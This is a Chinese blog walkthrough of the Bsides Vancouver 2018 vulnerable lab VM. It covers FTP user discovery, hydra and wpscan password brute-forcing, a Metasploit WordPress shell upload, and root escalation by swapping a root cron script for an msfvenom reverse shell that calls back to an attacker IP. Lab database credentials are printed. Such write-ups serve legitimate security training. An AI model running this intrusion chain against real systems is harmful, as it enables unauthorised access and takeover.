theKingOfNight's Blog

HackTheBox-----Bsides Vancouver 2018

字数统计: 835阅读时长: 3 min
2019/01/19 Share

感觉这个靶机比较好玩,应该有很多种方法打进去,而且后续也进行了一定的修改,给同学出成了找新题,这里给大家分享哈

1
2
链接: https://pan.baidu.com/s/1McXzBNU6_JDysNGxnRdRSw
密码: rerw

靶机ip 192.168.230.128/9(中间有掉线)

1
nmap 192.168.230.128

2018-08-26 22-13-42 创建的截图.png

可以看到开启了21,22,80端口
直接ftp登录21端口

1
2
ftp://192.168.230.128
anonymous

2018-08-27 11-22-07 创建的截图.png

可以看到文件中的如下内容

1
2
3
4
5
abatchy
john
mai
anne
doomguy

通过文件名猜测这些东西是登录需要的用户名
而且这里开着22端口,直接hydra爆破ssh,将这几个用户分别输入,最后可以得到anne可以爆破出来

1
hydra -l anne -P /usr/share/wordlists/nmap.lst ssh://192.168.230.128

可以得到anne的密码为princess
2018-08-27 13-43-20 创建的截图.png
然后

1
sudo -i

输入princess
直接得到root
2018-08-27 13-45-21 创建的截图.png

完了,不过正规的做法应该是下面这种:
使用dirb扫描http://192.168.230.128

1
dirb http://192.168.230.128/ /usr/share/dirb/wordlists/commen.txt

2018-08-27 11-39-55 创建的截图.png

通过扫描工具可以扫描到robots/robots.txt
2018-08-27 11-42-10 创建的截图.png
可以知道这个使用的是wordpress框架,访问/backup_wordpress/
2018-08-27 11-43-24 创建的截图.png
再以路径/backup_wordpress/为基路径继续扫描

1
dirb http://192.168.230.129/backup_wordpress/ /usr/share/dirb/wordlists/commen.txt

2018-08-27 14-02-48 创建的截图.png
可以看到其中有

1
2
license
readme

访问readme

2018-08-27 14-07-20 创建的截图.png
可以直接看到wordpress的版本号,就可以寻找相应的exp来打了。
在访问license,没什么东西,不过最下面可以直接找到wordpress的下载地址。

1
https://wordpress.org/download/source/

找相应的版本文件,安装
2018-08-27 14-11-28 创建的截图.png
然后本地搭建环境,各种路径一下子就都知道了,虽然也用dirb都可以扫出来。

在回到靶机的主页中,可以看到有两个用户
默认路径

1
wpscan --url http://192.168.230.129/backup_wordpress/ --enumerate u

user信息
2018-08-27 22-31-13 创建的截图.png
爆破密码

1
wpscan --url http://192.168.230.129/backup_wordpress/ --wordlist /usr/share/wordlists/nmap.lst --username john

admin的没有爆破出来,不过john的可以

2018-08-27 22-53-05 创建的截图.png

直接用msf打入

1
2
msfconsole
search wordpress

2018-08-27 14-43-21 创建的截图.png

1
2
3
4
5
6
use exploit/unix/webapp/wp_admin_shell_upload
show options
set RHOST 192.168.230.129
set TARGETURI /backup_wordpress
set USERNAME john
set PASSWORD enigma

2018-08-27 15-28-46 创建的截图.png
可以看到有5个用户,也就是刚开始的那个表。
其中anne可以爆破出来。
再来看一下ssh服务的配置信息

1
2
cd /etc/ssh
cat sshd_config

2018-08-27 15-34-27 创建的截图.png
这里显示了abatchy,john,mai,doomguy不能使用ssh登录,这也就是刚开始为什么才用超大字典也无法成功爆破这些用户的ssh。

后续操作就是ssh登录提权,这个和最开始的思路差不多,不过师傅们ssh登录后可以用exp打啊。

不过按照套路,一般拿到登录到服务器之后都会看看有那些定时任务。
2018-08-27 18-35-12 创建的截图.png
可以看到有一个很明显的定时程序cleanup,并且是以root身份运行。
msf生成反弹shell

1
2
msfvenom -l payload
msfvenom -p cmd/unix/reverse_python lhost=172.28.40.56 lport=12333 R

2018-08-27 22-20-34 创建的截图.png
然后将/usr/local/bin/cleanup替换为paylaod的内容就好了。
然后在下次的crontab执行任务时就可以接收到shell。
2018-08-27 22-38-25 创建的截图.png

不知道mysql提权可不可以成功,我技术比较菜,最后没成功,不过记录一下心得。
这个在官网上上安装好相应文件后直接在wp-config.php可以看到数据库的账号密码

1
2
3
4
5
6
7
8
9
10
define('DB_NAME', 'wp');
/** MySQL database username */
define('DB_USER', 'john@localhost');
/** MySQL database password */
define('DB_PASSWORD', 'thiscannotbeit');
/** MySQL hostname */
define('DB_HOST', 'localhost');

2018-08-27 23-06-38 创建的截图.png

1
2
mysql -u john@localhost -p
thiscannotbeit

直接登录
2018-08-27 23-09-20 创建的截图.png
2018-08-28 00-07-26 创建的截图.png

2018-08-28 00-08-47 创建的截图.png

CATALOG